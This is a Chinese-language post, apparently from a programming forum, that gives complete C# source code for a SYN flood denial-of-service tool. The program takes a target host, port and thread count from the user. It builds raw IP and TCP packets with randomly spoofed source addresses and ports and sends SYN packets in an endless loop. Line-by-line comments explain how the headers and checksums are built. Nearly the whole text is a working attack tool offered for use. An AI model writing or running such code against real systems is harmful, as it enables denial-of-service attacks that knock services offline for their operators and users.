C# DDOS 攻击工 代码

 看看怎么做的ip

1. using System;
2. using System.Net;
3. using System.Net.Sockets;
4. using System.Threading;
5. //需要的命名空间不用解释了吧 
6. namespace syn
7. {
8.     public struct ipHeader
9.     {
10.         public byte ip_verlen; //4位首部长度+4位IP版本号 
11.         public byte ip_tos; //8位服务类型TOS 
12.         public ushort ip_totallength; //16位数据包总长度（字节） 
13.         public ushort ip_id; //16位标识 
14.         public ushort ip_offset; //3位标志位 
15.         public byte ip_ttl; //8位生存时间 TTL 
16.         public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) 
17.         public ushort ip_checksum; //16位IP首部校验和 
18.         public uint ip_srcaddr; //32位源IP地址 
19.         public uint ip_destaddr; //32位目的IP地址 
20.     }
21.     public struct psdHeader
22.     {
23.         public uint saddr;  //源地址 
24.         public uint daddr;  //目的地址 
25.         public byte mbz;
26.         public byte ptcl;     //协议类型 
27.         public ushort tcpl;  //TCP长度 
28.     }
29.     public struct tcpHeader
30.     {
31.         public ushort th_sport;    //16位源端口 
32.         public ushort th_dport;    //16位目的端口 
33.         public int th_seq;   //32位序列号 
34.         public uint th_ack;   //32位确认号 
35.         public byte th_lenres;  //4位首部长度/6位保留字 
36.         public byte th_flag;   //6位标志位 
37.         public ushort th_win;     //16位窗口大小 
38.         public ushort th_sum;     //16位校验和 
39.         public ushort th_urp;     //16位紧急数据偏移量 
40.     }
41.     //这3个是ip首部tcp伪首部tcp首部的定义。 
42.     public class syn
43.     {
44.         private uint ip;
45.         private ushort port;
46.         private EndPoint ep;
47.         private Random rand;
48.         private Socket sock;
49.         private ipHeader iph;
50.         private psdHeader psh;
51.         private tcpHeader tch;
52.         public UInt16 checksum(UInt16[] buffer, int size)
53.         {
54.             Int32 cksum = 0;
55.             int counter;
56.             counter = 0;
58.             while (size > 0)
59.             {
60.                 UInt16 val = buffer[counter];
62.                 cksum += Convert.ToInt32(buffer[counter]);
63.                 counter += 1;
64.                 size -= 1;
65.             }
67.             cksum = (cksum >> 16) + (cksum & 0xffff);
68.             cksum += (cksum >> 16);
69.             return (UInt16)(~cksum);
70.         }
71.         //这个使用来计算校验码的我照抄c#实现ping那文章的方法，反正ip协议计算校验码方法都一样 
72.         public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
73.         {
74.             ip = _ip;
75.             port = _port;
76.             ep = _ep;
77.             rand = _rand;
78.             ipHeader iph = new ipHeader();
79.             psh = new psdHeader();
80.             tch = new tcpHeader();
81.             sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
82.             sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
83.             //这2个挺重要，必须这样才可以自己提供ip头 
84.         }
85.         //传参数的多线程需要用到代构造函数的对象。 
86.         static void Main(string[] args)
87.         {
88.             Console.WriteLine("1、输入攻击ip或域名");
89.             try
90.             {
91.                 IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
92.                 uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序 
93.                 Console.WriteLine("2、输入攻击端口");
94.                 ushort port = ushort.Parse(Console.ReadLine());
95.                 IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
96.                 byte[] bt = BitConverter.GetBytes(port);
97.                 Array.Reverse(bt);
98.                 port = BitConverter.ToUInt16(bt, 0);
99.                 //要攻击的端口也得转为网络字节序，必须是16位0－65535，如果用hosttonetworkorder就转成32位的了，无奈这样 
100.                 Console.WriteLine("3、输入攻击线程，最多50个");
101.                 int xiancheng = Int32.Parse(Console.ReadLine());
102.                 if (xiancheng < 1 || xiancheng > 50)
103.                 {
104.                     Console.WriteLine("必须在1到50之间");
105.                     return;
106.                 }
107.                 Random rand = new Random();
108.                 Thread[] t = new Thread[xiancheng];
109.                 syn[] sy = new syn[xiancheng];
110.                 for (int i = 0; i < xiancheng; i++)
111.                 {
112.                     sy[i] = new syn(ip, port, ep, rand);
113.                     t[i] = new Thread(new ThreadStart(sy[i].synFS));
114.                     t[i].Start();
115.                 }
116.                 //一个线程对应一个对象，不知多个线程对应同一个对象行不行，请指点。基础不行啊 
117.             }
118.             catch
119.             {
120.                 Console.WriteLine("有错误，请检查是不是连在网上，或者输入是否都正确");
121.                 return;
122.             }
125.         }
126.         unsafe public void synFS()
127.         {
128.             iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));
129.             //ipv4，20字节ip头，这个固定就是69 
130.             iph.ip_tos = 0;
131.             //这个0就行了 
132.             iph.ip_totallength = 0x2800;
133.             //这个是ip头+tcp头总长，40是最小长度，不带tcp option，应该是0028但是还是网络字节序所以倒过来成了2800 
134.             iph.ip_id = 0x9B18;
135.             //这个我是拦截ie发送。直接添上来了 
136.             iph.ip_offset = 0x40;
137.             //这个也是拦截ie的 
138.             iph.ip_ttl = 128;
139.             //也是拦截ie的，也可以是128什么的。 
140.             iph.ip_protocol = 6;
141.             //6就是tcp协议 
142.             iph.ip_checksum = UInt16.Parse("0");
143.             //没计算之前都写0 
144.             
145.             iph.ip_destaddr = ip;
146.             //ip头的目标地址就是要攻击的地址，上面传过来的。 
147.             psh.daddr = iph.ip_destaddr;
148.             //伪tcp首部用于校验的，上面是目的地址，和ip的那个一样。 
149.             psh.mbz = 0;
150.             //这个据说0就行 
151.             psh.ptcl = 6;
152.             //6是tcp协议 
153.             psh.tcpl = 0x1400;
154.             //tcp首部的大小，20字节，应该是0014，还是字节序原因成了1400 
155.             tch.th_dport = port;
156.             //攻击端口号，上面传过来的 
157.             tch.th_ack = 0;
158.             //第一次发送所以没有服务器返回的序列号，为0 
159.             tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
160.             //tcp长度 
161.             tch.th_flag = 2;
162.             //2就是syn 
163.             tch.th_win = ushort.Parse("16614");
164.             //拦截ie的 
165.             tch.th_sum = UInt16.Parse("0");
166.             //没计算之前都为0 
167.             tch.th_urp = UInt16.Parse("0");
168.             //这个连ip都是0，新的攻击方法有改这个值的 
169.             while (true)
170.             {
171.                // iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse("61.191.232.232").Address);
172.                 iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);
173.                 psh.saddr = iph.ip_srcaddr;
174.                 ushort duankou = Convert.ToUInt16(rand.Next(1, 65535));
175.                 byte[] bt = BitConverter.GetBytes(duankou);
176.                 Array.Reverse(bt);
177.                 tch.th_sport = BitConverter.ToUInt16(bt, 0);
178.                 tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
179.                 //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序 
181.                 iph.ip_checksum = 0;
182.                 tch.th_sum = 0;
183.                 //因为循环中，所以每次必须把这2个已有数的清0才可计算 
184.                 byte[] psh_buf = new byte[sizeof(psdHeader)];
185.                 Int32 index = 0;
186.                 index = pshto(psh, psh_buf, sizeof(psdHeader));
187.                 if (index == -1)
188.                 {
189.                     Console.WriteLine("构造tcp伪首部错误");
190.                     return;
191.                 }
192.                 index = 0;
193.                 byte[] tch_buf = new byte[sizeof(tcpHeader)];
194.                 index = tchto(tch, tch_buf, sizeof(tcpHeader));
195.                 if (index == -1)
196.                 {
197.                     Console.WriteLine("构造tcp首部错误1");
198.                     return;
199.                 }
200.                 index = 0;
201.                 byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
202.                 Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
203.                 index += psh_buf.Length;
204.                 Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
205.                 index += tch_buf.Length;
206.                 tch.th_sum = chec(tcphe, index);
207.                 index = 0;
208.                 index = tchto(tch, tch_buf, sizeof(tcpHeader));
209.                 if (index == -1)
210.                 {
211.                     Console.WriteLine("构造tcp首部错误2");
212.                     return;
213.                 }
214.                 index = 0;
215.                 byte[] ip_buf = new byte[sizeof(ipHeader)];
216.                 index = ipto(iph, ip_buf, sizeof(ipHeader));
217.                 if (index == -1)
218.                 {
219.                     Console.WriteLine("构造ip首部错误1");
220.                     return;
221.                 }
222.                 index = 0;
223.                 byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
224.                 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
225.                 index += ip_buf.Length;
226.                 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
227.                 index += tch_buf.Length;
228.                 iph.ip_checksum = chec(iptcp, index);
229.                 index = 0;
230.                 index = ipto(iph, ip_buf, sizeof(tcpHeader));
231.                 if (index == -1)
232.                 {
233.                     Console.WriteLine("构造ip首部错误2");
234.                     return;
235.                 }
236.                 index = 0;
237.                 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
238.                 index += ip_buf.Length;
239.                 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
240.                 index += tch_buf.Length;
241.                 if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
242.                 {
243.                     Console.WriteLine("构造iptcp报文错误");
244.                     return;
245.                 }
246.                 //上面这一大堆东西就是计算校验和的方法了，方法是 
247.                 //1、建立一个字节数组，前面放tcp伪首部后面放tcp首部，然后计算，确定最终tcp部分的校验和 
248.                 //2、把确定了校验和地tcp首部重新生成字节数组，这是就不加tcp伪首部了，所以工20字节 
249.                 //3、建40字节字节数组，前面放ip首部，后面放tcp首部，校验，确定最终ip部分校验和 
250.                 //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中，就是要发送的buffer[]了，就是这么麻烦 
251.                 try
252.                 {
253.                    
255.                     sock.SendTo(iptcp, ep);
257.                     Console.WriteLine("OK");
258.                     //构造发送字节数组总是麻烦，发送就简单了，socket.sendto就可以了 
260.                 }
261.                 catch (Exception eb)
262.                 {
263.                 
264.                    Console.WriteLine(eb.Message);
265.                    
266.                 }
269.             }
271.         }
272.         public UInt16 chec(byte[] buffer, int size)
273.         {
274.             Double double_length = Convert.ToDouble(size);
275.             Double dtemp = Math.Ceiling(double_length / 2);
276.             int cksum_buffer_length = Convert.ToInt32(dtemp);
277.             UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
278.             int icmp_header_buffer_index = 0;
279.             for (int i = 0; i < cksum_buffer_length; i++)
280.             {
281.                 cksum_buffer[i] =
282.                  BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
283.                 icmp_header_buffer_index += 2;
284.             }
285.             UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
286.             return u_cksum;
287.         }
288.         //这个是计算校验，把那些类型不一样的全转为16位字节数组用的 
289.         public Int32 ipto(ipHeader iph, byte[] Buffer, int size)
290.         {
291.             Int32 rtn = 0;
292.             int index = 0;
293.             byte[] b_verlen = new byte[1];
294.             b_verlen[0] = iph.ip_verlen;
295.             byte[] b_tos = new byte[1];
296.             b_tos[0] = iph.ip_tos;
297.             byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
298.             byte[] b_id = BitConverter.GetBytes(iph.ip_id);
299.             byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
300.             byte[] b_ttl = new byte[1];
301.             b_ttl[0] = iph.ip_ttl;
302.             byte[] b_protol = new byte[1];
303.             b_protol[0] = iph.ip_protocol;
304.             byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
305.             byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
306.             byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
307.             Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
308.             index += b_verlen.Length;
309.             Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
310.             index += b_tos.Length;
311.             Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
312.             index += b_totallen.Length;
313.             Array.Copy(b_id, 0, Buffer, index, b_id.Length);
314.             index += b_id.Length;
315.             Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
316.             index += b_offset.Length;
317.             Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
318.             index += b_ttl.Length;
319.             Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
320.             index += b_protol.Length;
321.             Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
322.             index += b_checksum.Length;
323.             Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
324.             index += b_srcaddr.Length;
325.             Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
326.             index += b_destaddr.Length;
327.             if (index != size/* sizeof(IcmpPacket)  */)
328.             {
329.                 rtn = -1;
330.                 return rtn;
331.             }
333.             rtn = index;
334.             return rtn;
336.         }
337.         //这个是把ip部分转为字节数组用的 
338.         public Int32 pshto(psdHeader psh, byte[] buffer, int size)
339.         {
340.             Int32 rtn;
341.             int index = 0;
342.             byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
343.             byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
344.             byte[] b_psh_mbz = new byte[1];
345.             b_psh_mbz[0] = psh.mbz;
346.             byte[] b_psh_ptcl = new byte[1];
347.             b_psh_ptcl[0] = psh.ptcl;
348.             byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
349.             Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
350.             index += b_psh_saddr.Length;
351.             Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
352.             index += b_psh_daddr.Length;
353.             Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
354.             index += b_psh_mbz.Length;
355.             Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
356.             index += b_psh_ptcl.Length;
357.             Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
358.             index += b_psh_tcpl.Length;
359.             if (index != size)
360.             {
361.                 rtn = -1;
362.                 return rtn;
363.             }
364.             else
365.             {
366.                 rtn = index;
367.                 return rtn;
368.             }
370.         }
371.         //这个是把tcp伪首部转为字节数组用的 
372.         public Int32 tchto(tcpHeader tch, byte[] buffer, int size)
373.         {
374.             Int32 rtn;
375.             int index = 0;
376.             byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
377.             byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
378.             byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
379.             byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
380.             byte[] b_tch_lenres = new byte[1];
381.             b_tch_lenres[0] = tch.th_lenres;
382.             byte[] b_tch_flag = new byte[1];
383.             b_tch_flag[0] = tch.th_flag;
384.             byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
385.             byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
386.             byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
387.             Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
388.             index += b_tch_sport.Length;
389.             Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
390.             index += b_tch_dport.Length;
391.             Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
392.             index += b_tch_seq.Length;
393.             Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
394.             index += b_tch_ack.Length;
395.             Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
396.             index += b_tch_lenres.Length;
397.             Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
398.             index += b_tch_flag.Length;
399.             Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
400.             index += b_tch_win.Length;
401.             Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
402.             index += b_tch_sum.Length;
403.             Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
404.             index += b_tch_urp.Length;
405.             if (index != size)
406.             {
407.                 rtn = -1;
408.                 return rtn;
409.             }
410.             else
411.             {
412.                 rtn = index;
413.                 return rtn;
414.             }
415.         }
416.         //这个是把tcp部分转为字节数组用的，因为这个要用到2次就不把这个和伪首部放一块了。 
417.     }
418. }